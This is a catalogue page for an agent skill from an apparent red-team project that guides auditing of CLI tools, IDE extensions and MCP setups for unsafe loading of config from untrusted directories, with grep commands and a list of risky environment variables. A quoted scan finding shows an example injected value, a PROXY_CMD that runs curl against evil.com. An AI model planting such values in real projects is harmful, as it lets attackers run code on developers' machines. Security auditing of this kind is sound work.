trust-boundary-analysis

trust-boundary-analysis is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 48 tokens per session (1,255 once invoked), scanned A, original, Apache-2.0.

A guide to mapping trust boundaries and startup behavior in developer tools, command-line programs, IDE extensions, and plugin systems.

In plain words
What is it for?
It is for auditing configuration discovery, environment files, extensions, child processes, language servers, build tools, and MCP server setup.
Why use it?
It reveals when software loads configuration, plugins, or commands from an untrusted project directory and may execute attacker-controlled content.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Gemini CLI.

Good fit It is for auditing configuration discovery, environment files, extensions, child processes, language servers, build tools, and MCP server setup.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/trust-boundary
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill trust-boundary
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for trust-boundary-analysis

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/trust-boundary/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/trust-boundary)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/trust-boundary"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/trust-boundary/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for trust-boundary-analysis

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/trust-boundary"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/trust-boundary.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 48 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,255 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 23
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high Privilege Escalation · line 42
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 102
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Prompt Injection · line 58
    This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
    Fix: Remove or rewrite any text that instructs the agent to ignore prompts, override safety rules, or trust unverified content. Ensure skill content cannot be injected to alter agent behavior.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00048 $0.01255
Opus 5 $0.00024 $0.00628
Sonnet 5 $0.00010 $0.00251
Haiku 4.5 $0.00005 $0.00126

Measured 8d ago against content hash c22e8b63619c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

trust-boundary-analysis scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

3. **Env var in shell context**: `PROXY_CMD="curl evil.com"` → executed as-is

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md · 132 lines

How it starts

The opening of the file, as written. The whole thing — 132 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Trust Boundary Analysis

This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.

When to Use

Apply this skill when the target:

  • Loads .env, settings.json, or config files from the current working directory
  • Has a plugin/extension system that auto-discovers and loads code
  • Spawns child processes with configuration-controlled commands
  • Is a CLI tool, IDE extension, language server, or build tool
  • Uses MCP (Model Context Protocol) servers configured via project files

Startup Sequence Audit

For any CLI tool or developer application, trace the full initialization:

1. Config file discovery

grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
  /workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'

Map the search order. Common dangerous patterns:

  • cwd/.tool/config.jsoncwd/.env~/.tool/config/etc/tool/config
  • If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.

Record each config loading point:

kg_add_node("code_location", "loadConfig() reads .env from cwd",
  props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})

2. Environment variable injection

grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
  --include='*.py' --include='*.rs' /workspace/target/src/

Check: Are env vars from .env files injected into process.env? Which vars control dangerous behavior? Look for:

  • *_COMMAND, *_CMD, *_EXEC → shell execution
  • *_PROXY → SSRF / network interception
  • *_PATH, *_DIR → path traversal
  • *_URL → open redirect / SSRF
  • DEBUG, NODE_ENV → bypass security controls

3. Workspace trust check

grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
  --include='*.js' /workspace/target/src/

Read the full file on GitHub · 132 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 132 lines · 48 tokens per session scan A c22e8b63619c

Subscribe to this mod's changes

trust-boundary-analysis is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 48 tokens to every session and 1,255 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.